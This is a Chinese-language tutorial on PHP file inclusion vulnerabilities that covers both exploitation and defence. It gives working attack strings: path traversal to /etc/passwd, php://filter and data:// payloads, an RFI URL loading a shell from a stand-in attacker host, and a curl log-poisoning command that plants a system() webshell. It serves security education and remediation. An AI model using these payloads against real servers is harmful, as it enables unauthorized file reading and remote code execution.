文件包含漏洞全解析:从LFI原理到日志投毒与防御修复

发布时间:2026/10/21 15:35:26
文件包含漏洞全解析:从LFI原理到日志投毒与防御修复 1. 漏洞初识文件包含到底是什么为什么会成为突破口做Web安全测试和代码审计这些年文件包含是我在实战中遇到频率相当高的一个漏洞类型。它不像SQL注入那样人人皆知也不像XSS那样遍地开花但一旦被攻破往往直接造成敏感文件泄露甚至一步步升级为服务器权限沦陷。先给还不熟悉的朋友打个比方。一个正常的Web程序就像一家餐厅的后厨厨师在做菜时经常会调用提前备好的半成品料包比如酱料包、汤底包。文件包含漏洞就像后厨在设计菜单时把今天要用哪个料包这个决定权交给了客人客人说用辣椒酱包后厨就去拿辣椒酱包客人说用隔壁仓库的配方后厨也乖乖去拿。这显然就出问题了。技术上来说文件包含指的是服务端脚本语言最常见的是PHP在执行时通过include、require这类函数把另一个文件的代码内容加载进来当作程序的一部分执行或输出。这类函数本身是开发者的好帮手用来做代码复用、模块化开发再正常不过了。但当被包含的文件路径参数可以由用户输入控制、又缺少足够校验的时候问题就来了。我最早接触这个漏洞是在一个模拟攻防项目里某高校的内部管理系统用PHP开发存在多处include调用。当时渗透测试人员仅仅通过修改URL里一个文件名的参数就把服务器上的系统配置文件内容读了出来。那种感觉就是你本来觉得后厨管理挺规范的结果客人说要看仓库钥匙后厨居然真的把钥匙递出来了。这个漏洞之所以值得深入研究原因有三点一是它跨语言存在PHP、JSP、ASP.NET、Python等都有类似机制二是它利用手法灵活从最简单的路径穿越到配合伪协议读取源码、配合日志投毒拿shell花样很多三是它往往出现在业务逻辑的薄弱环节比如语言切换、模板加载、文件下载之类的功能里。这篇文章我会把原理、分类、利用思路、修复方案从头到尾捋一遍把我实操中验证过的技巧和踩过的坑都写出来希望能帮正在学习Web安全的朋友少走弯路。2. 漏洞原理深挖为什么用户输入能变成文件路径2.1 include函数族的正常用法与危险用法先看正常情况。PHP里有一个函数族include、include_once、require、require_once功能是引入外部PHP文件并执行。比如一个网站有统一的头部导航、底部版权信息开发者不想在每个页面重复写HTML就会抽出来?php // header.php echo div classheader导航栏内容/div; ?然后其他页面这样调用?php include header.php; include footer.php; ?这种做法本身完全正确没有任何问题。问题出现在路径参数来自用户输入。最常见的漏洞代码长这样?php $page $_GET[page]; include($page . .php); ?开发者本意是做一个页面切换功能用户传home就包含home.php传about就包含about.php省去写一堆if分支。可问题在于变量$page的值是用户直接可控的用户完全可以传一个绝对路径、传一个带有../的路径甚至传一个伪协议字符串进去。这就像门禁系统本来设计的是刷卡进入结果闸机口装了一个可以手动掰开的挡板你刷不刷卡都能进只要你手够得着。2.2 本地文件包含LFI与远程文件包含RFI的本质区别文件包含漏洞按攻击范围可以分为两类本地文件包含和远程文件包含。本地文件包含攻击者可以读取服务器本地的任意文件比如/etc/passwd、应用源码、配置文件、日志文件等。利用方式相对简单只需要构造足够的../来回跳目录。远程文件包含则更进一步攻击者可以指定一个自己服务器上的恶意PHP文件地址让目标服务器把这份恶意代码include进本地执行。比如说http://target.com/index.php?pagehttp://attacker.com/shell.txt如果目标服务器的配置里开启了allow_url_include那么target.com服务器会把attacker.com上的shell.txt内容当作PHP代码执行攻击者直接拿下Webshell。这个危害级别比LFI要高出不少好在现代PHP默认配置基本都关闭了allow_url_include远程文件包含在现网中比早年少了很多。但本地文件包含依然大量存在而且配合其他技巧一样能打出很好的效果。我们日常做测试碰到RFI的机会确实不多但LFI搭配日志投毒、phar反序列化、pearcmd等方式依然能打出RCE这一点后面详细讲。2.3 哪些场景最容易出现文件包含漏洞从我做过代码审计和渗透测试的样本来看有几类场景是高发区。第一个是模板或页面加载。很多老式PHP站点喜欢用一个page参数控制加载哪个页面文件上面举的那个例子就是这种。第二个是语言切换功能。一些多语言网站会有lang参数代码里可能写成include(lang/ . $lang . .php)用户传一个en就加载英文文件传zh就加载中文文件。这个参数一旦可控配合../跳目录就能读源码。第三个是文件下载或预览功能。有些代码通过include来实现对数据的渲染而不是用file_get_contents读取。虽然include更多是执行语义但配合php://filter伪协议也能读取文件内容而不执行。第四个是图片处理、附件展示类的接口。用户传入文件名参数程序拼个路径就去include或读取如果拼接时没做过滤同样出事。我总结了一个规律凡是URL里出现type、page、file、lang、template、style、path这类参数名且后端代码存在include/require调用的都需要重点关注。3. 从利用到验证文件包含漏洞的完整攻击链3.1 路径穿越最基础的LFI利用手法还是拿刚才的示例代码说事include($page . .php)。如果直接传/etc/passwd拼出来就成了/etc/passwd.php系统里不存在这个文件include会报错什么也拿不到。所以需要绕过那个自动拼接的.php后缀。早期PHP版本存在NULL字节截断问题传%00可以让字符串在结尾截断自动拼的.php被吃掉。这个漏洞在PHP 5.3.4之后的版本里已经修复现在基本无效了。还有一种是超长路径截断利用操作系统对路径长度的限制用大量./把后面的.php挤出去Windows上旧版有效现在同样过时了。当下最实用的思路换成两个方面一是直接找不带后缀拼接的代码路径参数原封不动直接进include函数二是利用各种伪协议把后缀妨碍绕过去。具体来说用php://filter读取源码的时候它根本不在乎后缀是.php还是.txt只有真正尝试去执行本地文件时后缀才会产生实际影响。举个例子某次测试一个开发框架的模板渲染功能代码里存在include($_GET[template] . .html)。最初以为它只读模板目录后来发现路径参数做了严格过滤无法穿越出去。但当我们尝试php://filter/convert.base64-encode/resource../../config.php时过滤规则只针对字符序列做了替换但伪协议特性让include函数忽略了我们不想要的后缀最终成功拿到了数据库配置文件内容。路径穿越本身需要注意的细节是不同的操作系统和服务端程序对../的处理有差异。Linux下最常见的组合是../../../../通过逐级回跳的方式最终到达根目录。实际操作时不要一上来就用很多层先测试三级四级的穿越是否有效再逐步增加避免过多的../把路径反而跳出了预期范围。3.2 PHP伪协议读取源码的利器拿include执行文件除了直接加载PHP代码外PHP还提供了一系列封装协议这些小工具组合起来能玩出很多花样。最常用的是php://filter它的作用是读取文件内容并做指定过滤处理常见用法是配合base64转码先读文件再编码输出内容就不会被PHP解释执行。http://target.com/index.php?pagephp://filter/convert.base64-encode/resourceconfig.php这条请求发送过去目标站点会把config.php的源码用base64编码后返回你在响应里复制那段base64字符串本地用解码工具还原就能看到完整源码。为什么要转码因为如果php://filter直接读取一个PHP文件被读取的内容一旦包含?php标签就会被当作代码执行而你什么都看不到。而base64编码后输出的内容是纯字母数字符号不会触发执行天然适合用来读取源码。这里面有一个细节值得注意php://filter支持多级过滤器比如readconvert.base64-encode|convert.base64-decode这种写法虽然实际中不太用得到但了解它的存在可以帮助你理解filter机制的工作原理。除了php://filter还有php://input可以读取POST原始数据。如果include($_GET[file])攻击者可以这样构造file参数填php://input然后在POST包里塞入完整的PHP恶意代码目标服务器会把POST数据当作PHP代码执行。虽然这种方式依赖allow_url_include开启但老版本PHP默认开启了实测中还是有机会遇到的。data://协议是另一个经典玩法直接把数据嵌入URL中http://target.com/index.php?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOw这段base64解码后是?php phpinfo();? 如果allow_url_include开启服务器会执行phpinfo验证代码执行能力是否成立。这套操作在测试授权范围内的站点时非常实用毕竟先用无害的探针验证漏洞存在性比直接上马webshell要专业得多。3.3 日志投毒把无害文本变成可执行PHP代码伪协议好用但很多高版本PHP默认配置都禁用了allow_url_include常见框架干脆白名单匹配路径LFI能读文件但找不到代码执行的突破口。这时候日志投毒就成了进阶手段。日志投毒的原理是Web服务器会把每一次请求都记录到访问日志里比如Nginx的access.log或Apache的access_log。如果你发送一个携带PHP代码的User-Agent这串代码会原样出现在日志文件中。正常情况下日志文件内容是纯文本PHP代码只会被当作普通字符串存储。但如果目标站点存在LFI你可以通过include让服务器执行日志文件。日志文件整体是文本没错但中间夹杂的那一小段可执行代码区块是独立的PHP解析器从 结束就会执行这段。来一个实际构造过程。假设目标站点存在如下LFI代码?php include($_GET[file]); ?第一步先猜测日志文件的存放路径。Linux上常见的路径有/var/log/nginx/access.log/var/log/apache2/access.log/var/www/logs/access_logC:\xampp\apache\logs\access.logWindows开发环境常见接着用Burp Suite或curl构造一次特殊的HTTP请求把User-Agent字段写成一段PHP代码curl -X GET http://target.com/index.php?file/var/log/nginx/access.log \ -H User-Agent: ?php system(\$_GET[cmd]); ?注意代码里的$符号要加反斜杠转义否则bash会把它当作变量替换掉PHP代码就残缺了。这一步先把代码写入日志。然后第二次请求目标LFI漏洞点让include加载日志文件http://target.com/index.php?file/var/log/nginx/access.logcmdid如果一切顺利User-Agent里的代码被日志记录后再次访问时日志内容被include执行cmd参数被system函数执行返回id命令的结果。整个攻击链完整落地。这个技巧的难点有两个一是有多一层路径参数中的../../绕过二是日志路径猜不对。实战中为了省事可以先尝试读取默认路径下的日志确认存在性再决定是否投毒。权限方面Nginx的日志默认由worker进程组写读权限一般足够Apache的日志也类似。唯一需要注意的是日志文件可能会很大include一个几百MB的日志文件会导致响应超时请求需要控制频率投毒前的UA记录会在日志的最后一行最好用一些标记性的内容定位。3.4 临时文件包含与session文件利用除了日志投毒还有一条路是包含session临时文件。PHP处理会话时会把会话数据保存在临时目录文件名格式一般为sess_加上会话ID。如果目标代码里存在LFI且会话文件内容可控——比如$_SESSION里存了用户名、昵称等用户输入——那么把恶意PHP代码写进session值再通过LFI包含session文件同样能执行代码。具体来说PHP默认session存储路径是/var/lib/php/sessions/有些发行版在/tmp下。你只需要获取自己的会话ID加上sess_前缀拼成文件名再想办法让session数据里包含payload。现实场景中这种利用方式更多出现在CTF题目和测试环境里。我在某次授权测试中碰到过一个漏洞代码它把所有用户输入原样写入session李代桃僵式的把恶意代码塞进了$_SESSION[username]最后用LFI包含session文件实现代码执行。整个过程非常优雅不需要额外文件上传。临时文件包含还有一招PHP上传文件时生成的临时文件。文件上传过程中PHP会把文件先存到tmp目录请求结束后自动删除。要在同一请求内完成包含和利用需要用到并发和条件竞争。一般思路是发送一个超大文件体量的上传请求让PHP来不及立刻处理完与此同时并行发送LFI请求include路径指向那个尚未被删除的临时文件。这种方式实战中成功率不稳定因为tmp文件名是随机的需要配合phpinfo的临时文件路径信息或目录爆破辅助定位。这个方法算是进阶中的进阶新手了解一下原理即可现阶段还是把日志投毒和伪协议吃透更实用。3.5 文件包含导致信息泄露的排查思路如果把文件包含漏洞完全从利用到RCE的目标上放下来单纯作为信息泄露入口来看它的价值也不低尤其是当目标系统有大量阶段性代码未开源、只能通过漏洞读取时。在排查某个第三方PHP CMS时应用层代码做了多次过滤路径无法穿出指定目录但目录内有一个debug日志文件里面记录了SQL语句、堆栈信息和部分文件路径。通过LFI直接读取日志日志里暴露了数据库表名、内部API地址和系统目录结构。有了这些信息再结合其他漏洞就轻松了很多。这种场景在红队对抗中很常见LFI利用的第一步不是想着一口气RCE而是先读取一切能读的文件做信息收集。在授权测试项目中遇到疑似LFI时我一般按这个顺序来排查先测试基础参数判断是否存在直接的路径穿越漏洞如../../../../etc/passwd测试php://filter读取index.php源码确认代码结构和过滤逻辑根据源码判断是否还有更深层的利用空间比如是否有文件上传功能、是否有日志写入点尝试日志投毒和session利用记录所有发现按危害等级输出报告。这套流程稳扎稳打既能保证不遗漏利用点也方便写测试报告时把每个漏洞链路的因果关系理清楚。4. 代码审计视角快速识别文件包含漏洞的关键模式4.1 高危函数特征与调用模式从代码审计的角度需要重点关注的语言函数包括语言危险函数常见调用场景PHPinclude模板加载、页面切换PHPinclude_once、require、require_once模块引入、框架初始化JSPRequestDispatcher.forward、include页面组件化ASP.NETResponse.WriteFile、Server.Execute动态页面合成Pythonexec(open().read())动态模板渲染单纯看到include不可怕可怕的是用户可控变量直入include 没有做路径合法性校验。排查时先画数据流哪个外部输入源GET、POST、Cookie、上传文件名流向了哪个include/require语句。数据流的路径越短风险越高。比如这样一段代码?php $template $_GET[style]; include(templates/ . $template . .html); ?参数经过的环节为零直接进入include这是最危险的情况。如果中间有basename、realpath、str_replace等函数做了一些处理需要具体看处理是否彻底。4.2 常见过滤方式的绕过思路开发者通常会对文件包含做过滤最常见的就是把../和./替换成空字符。看似安全但下面两种情况可以直接绕过。第一种过滤是单次执行的。比如代码写了str_replace(../, , $input)但没循环过滤那../../../../../这种组合经过一次替换后变成../../..仍然能完成穿越。正确的做法是循环替换直到不再出现异常字符为止。第二种过滤只针对字符串匹配但没用正则做完整校验。比如只过滤了../没有过滤..\虽然PHP的include在Windows下同样支持反斜杠路径用....\就能绕过。即使服务器是LinuxURL里把/改成%2f或者用双重编码的方式有时也能绕过简单的字符串匹配。关于绕过我再分享一个实测过的案例。某个框架对路径做了白名单校验只允许template目录下的文件被包含实现方式是用realpath把传入路径转成绝对路径再判断前缀。看着无懈可击但realpath会解析符号链接而模板目录里恰好有一个软链接指向了服务器根目录下的敏感位置。于是利用这个软链接我们成功读取了原本白名单之外的配置文件。这类功能即漏洞的案例提醒我代码审计不能只看过滤逻辑本身还要结合系统里的资源条件一块儿看。4.3 白名单与路径校验的合理写法那么正确的修复姿势是什么分享一段我目前在项目中推荐使用的PHP片段?php $allowedPages [home, about, contact, news]; $page $_GET[page] ?? home; if (!in_array($page, $allowedPages, true)) { http_response_code(404); exit(Page not found); } include(__DIR__ . /pages/ . $page . .php); ?这段代码的关键在于$page的值必须是白名单里的固定值而不是用户传来的原始路径字符串。配合__DIR__限制基准目录再用in_array做严格对比可以彻底阻断路径穿越。对于文件下载、图片预览类功能如果无法使用白名单至少要做以下处理用realpath解析出绝对路径检查解析后的路径是否位于允许读取的目录内拒绝任何包含..、/.、空字节的输入使用basename去除所有路径前缀只保留文件名部分。?php $fileName basename($_GET[file]); $fullPath realpath(__DIR__ . /uploads/ . $fileName); $allowedDir realpath(__DIR__ . /uploads) . DIRECTORY_SEPARATOR; if (strpos($fullPath, $allowedDir) ! 0) { exit(Invalid path); } readfile($fullPath); ?这段代码核心是先basename去掉路径只留文件名再realpath解析出真实绝对路径最后验证这个绝对路径是否以允许目录开头。三层校验叠加安全性能打高分。5. 修复与加固如何彻底堵住文件包含漏洞5.1 代码层面的修复优先级先说结论白名单是所有修复方案里效果最好的它能从根上杜绝user输入影响包含路径。其次是根据应用场景分类处理。模板切换类的功能应该把映射关系放在服务端常量数组里。比如?php $pages [ home home.tpl.php, about about.tpl.php, product product.tpl.php, ]; if (!isset($pages[$_GET[page]])) { $page home; } else { $page $pages[$_GET[page]]; } include(__DIR__ . /template/ . $page); ?服务端与客户端完全隔离用户只能选择已有的key传什么奇怪的字符串都不会影响实际加载的文件。文件下载类功能应该用文件ID查数据库获取存储路径而不是让用户传文件名。数据库存储路径是后台写入的用户无法直接控制这就把攻击面收敛了一大半。如果业务上确实无法避免用户传文件名那就要做多层校验组合使用basename、realpath、目录前缀对比和危险字符过滤。能不用include加载文件的时候就要尽量避免改用file_get_contents、readfile这些读取函数配合Content-Type指定输出格式。5.2 服务端配置加固与全局设置代码改完后再对服务端配置做一些加固形成纵深防御。PHP这边主要关心两个配置项allow_url_include Off allow_url_fopen Onallow_url_include必须关闭。现在的默认PHP版本基本是关闭的但很多老项目从旧版本升级后配置文件里可能还遗留着开启项。allow_url_fopen一般保持开启因为很多正常功能比如远程读取API数据都要用它本身不是漏洞只是配合不当才会有问题。另外可以做的是open_basedir限制PHP能访问的目录范围open_basedir /var/www/html这不单是文件包含的补救对于其他文件读取类漏洞同样有效。设置之后PHP脚本只能访问指定目录及其子目录即使include拼出了/etc/passwd也没法读。当然open_basedir对日志投毒这种完全在站点目录内玩的利用方式无效所以它只是纵深防御的一环不是万能钥匙。Web服务器层面Nginx可以做请求参数过滤比如拒绝包含../的URL直接返回403。nginx location ~ .php$ { if ($request_uri ~* ../) { return 403; } }这个写法能拦掉大部分扫描器的低质量攻击流量但注意不要过度依赖它因为它只是简单URI匹配攻击者很容易用编码绕过。 ### 5.3 日志投毒的针对性防御 日志投毒利用的是日志文件可被包含执行。要防御它一个思路是把日志文件放在站点根目录之外让include够不着另一个思路是对web访问日志做过滤把可疑的User-Agent内容拦截或转义。Nginx的log_format可以这样处理 nginx log_format main $remote_addr - $remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent;在access_log定义里把恶意内容输出为转义后的形式比较难配置更实用的方案是使用mod_security这类WAF拦截明显的PHP代码特征请求。对于高价值目标我建议把日志投毒的防御重心放在阻止include访问日志路径上即伪协议黑名单和路径检查同时用WAF拦截明显包含PHP标签的请求。5.4 修复后的回归验证清单修复完成并不等于工作结束。一个完整的漏洞修复流程必须包含回归验证。我在给某公司做代码审计时接触过不少案例修复代码提交上去了但开发自己验证不算充分导致上线后Blast的攻击路径依然存在。因此推荐建立一份回归验证清单正常功能是否受影响所有白名单内的页面/文件是否正常加载基础穿越测试../../../../etc/passwd是否已被拦截伪协议测试php://filter、php://input、data://是否无法利用编码绕过测试%2e%2e%2f、..%2f等变体是否被正确处理日志投毒测试往日志注入PHP代码后尝试include确认无效上传场景测试上传文件内容含PHP代码后尝试通过LFI包含确认无效。每一条都做一遍记录实际响应码和响应内容这样才能放心说漏洞真正修复了。很多开发环境对第2到第5条不以为然但恰恰是这些觉得不会有问题的地方最容易出问题。我遇到过真实案例开发过滤了../但没过滤..%2f上线后扫描器直接识别出绕过路径好在那次是在灰度阶段发现的还没有外部流量进来。6. 实战经验总结与常见问题速查文件包含漏洞被我反复强调是因为它的利用链确实足够长从最基础的信息泄露一路可以打通到命令执行而且每个环节都有大量旁支技巧。根据自己的测试和审计经验我按问题场景整理了一份速查表方便日常排查时对照参考。问题现象可能原因排查方向include报错但无法读取文件路径拼接了固定后缀尝试伪协议或寻找无后缀拼接的点../穿越无效过滤了../字符尝试编码绕过或双写绕过php://filter读取内容为空过滤器参数书写错误确认resource参数路径写法是否正确日志投毒不生效include路径没猜对日志位置先读取日志确认路径再做投毒allow_url_include关闭导致RFI不可用配置限制转向LFI配合文件写入/日志投毒上传文件后无法包含临时文件已删除利用条件竞争或改用持久化文件读取源码乱码未使用base64编码过滤器使用convert.base64-encode日常测试时还有一个容易忽略的点include和require在PHP中对错误处理的差异。include遇到文件不存在只抛Warning脚本继续执行require会抛Fatal Error直接终止。利用include报错信息来猜路径比较困难但可以通过响应差异来判断目标使用的是include还是require、路径拼接方式等细节这些信息对后续利用很有帮助。关于工具的选型手工测试的效率总归有限。我一般先用Burp Suite的Intruder模块批量测试目录穿越和常见伪协议看返回包差异。等有疑似点再逐个手工验证。千万不要看到返回差异就急着下结论一定要确认响应内容真的是目标文件的内容而不是框架自己的报错页面。经验不足的测试者很容易被404页面但包含关键词这类情况骗到。最后聊一个常见的认知误区有些人觉得文件包含漏洞是PHP专属换Java、Go就安全了。其实不管是Java的JSP include还是Python的模板加载只要存在用户输入拼接到文件路径/模板路径的代码模式都有风险。语言本身的安全性只取决于你的编码习惯和框架约束不取决于语法特性。某Java系统就出过一个类似的洞模板参数可控导致服务端模板注入原理和文件包含如出一辙。做防御或者做测试时思路不要局限在单一语言上。这篇文章写到这里核心内容基本覆盖完整了。我实际做测试时最深的体会是文件包含漏洞的利用思路特别讲究组合——单看一个点是漏洞但往往要结合日志、上传、会话等机制才能把危害放到最大。也希望读者在自己做测试或者修补漏洞时先理解原理再动手操作不要拿到payload就盲打。在授权范围内系统地走一遍发现、验证、修复、回归的流程才能把知识转化成真正的能力。